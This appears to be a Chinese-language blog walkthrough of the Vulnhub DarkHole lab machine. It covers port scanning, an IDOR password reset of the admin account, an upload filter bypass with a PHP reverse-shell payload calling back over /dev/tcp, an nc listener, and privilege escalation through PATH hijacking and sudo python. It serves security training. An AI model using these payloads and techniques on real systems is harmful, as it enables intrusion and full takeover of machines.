【滲透測試】Vulnhub DarkHole

Mr_Soap發表於2024-08-19

滲透環境

攻擊機: IP: 192.168.216.129(Kali)
靶機: IP:192.168.216.130
靶機下載地址:https://www.vulnhub.com/entry/darkhole-1,724/

進行滲透

一、 獲取埠資訊

nmap或者arp-scan都能掃除IP,這裡就不贅述了。先看看開放了哪些埠。

nmap -O -sV -p- -A 192.168.216.130

img

開放了22和80埠。

二、 尋找WEB漏洞

訪問80埠,出現登入框,並且可以註冊賬戶

img

註冊test賬戶並登入,登陸後跳轉到更改使用者資訊和密碼的頁面

img

猜測這裡存在越權修改其他使用者密碼的漏洞,嘗試修改自己的密碼並抓包

img

發現有兩個id,我們新建的使用者id為2,那麼原有的使用者id應該1,嘗試將body裡的id修改為1,返回修改成功

img

猜測原來的使用者名稱為admin,密碼剛才我們已經成功修改為admin了,嘗試登入

img

登入成功,且該頁面有上傳功能。經過測試,這裡上傳檔案只對字尾名進行了過濾,當我們上傳php字尾的檔案時會失敗,但是上傳phtml字尾的檔案是可以的。這裡可以上傳一句話木馬用蟻劍進行連線,也可以直接上傳反向連線的php程式碼,我們使用後者。

1.phtml內容如下

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.216.129/4444 0>&1'");?>

讓目標主機反向連線192.168.216.129(即攻擊機)的4444埠

上傳1.phtml,顯示上傳成功,並返回了上傳檔案的連結

img

點選紅框中的File,跳轉到以下URL

http://192.168.216.130/upload/1.phtml

接下來我們在kali上監聽4444埠

nc -nlvp 4444

再次訪問:http://192.168.216.130/upload/1.phtml

img

看到已經成功反彈了shell,當前使用者是www-data

三、 提權

檢視可以登入/bin/bash的使用者

cat /etc/passwd | grep /bin/bash   

img

當然也可以透過檢視/home目錄檢視建立的使用者
常規思路,檢視具有SUID許可權的檔案

find / -perm -u=s -type f 2>/dev/null

img

發現可疑檔案/home/john/toto,直接執行該檔案

img

觀察其輸出,不難猜測,該檔案呼叫了id命令,因此我們可以採用命令劫持的方式進行提權

echo 'chomd +s /bin/bash' > id            #在當前資料夾下寫一個id檔案
chmod 777 id                              #更改許可權
export PATH=/var/www/html/upload:$PATH    #將當前路徑加入環境變數
/home/john/toto                           #執行該檔案,會呼叫我們重寫的id

img

執行時發現我們的chmod +s命令發生了許可權錯誤,即我們無法讓自己寫的id檔案擁有SUID許可權,那麼只能先放棄在這裡進行提權,先使用john的身份進行登入

echo '/bin/bash' > id
/home/john/toto
python3 -c 'import pty;pty.spawn("/bin/bash")'   #建立互動式shell

看到我們已經以john的身份登入進來了。
/home/john/下發現password檔案

img

得到john使用者的密碼root123

檢視John使用者可執行的特權命令

sudo -l

img

看到John使用者可以以root身份執行python3file.py
因此我們可以嘗試修改file.py的內容

echo "import pty;pty.spawn('/bin/bash')" > file.py

當執行這個py檔案時,會開啟一個可互動的shell

接下來執行這個檔案

sudo python3 /home/john/file.py

img

在這裡有一個坑,當我們使用相對路徑時會無法執行,使用絕對路徑時才可以,我也不知道為啥

此時我們就已經拿到root許可權了,flag在/root下,滲透結束

img

相關文章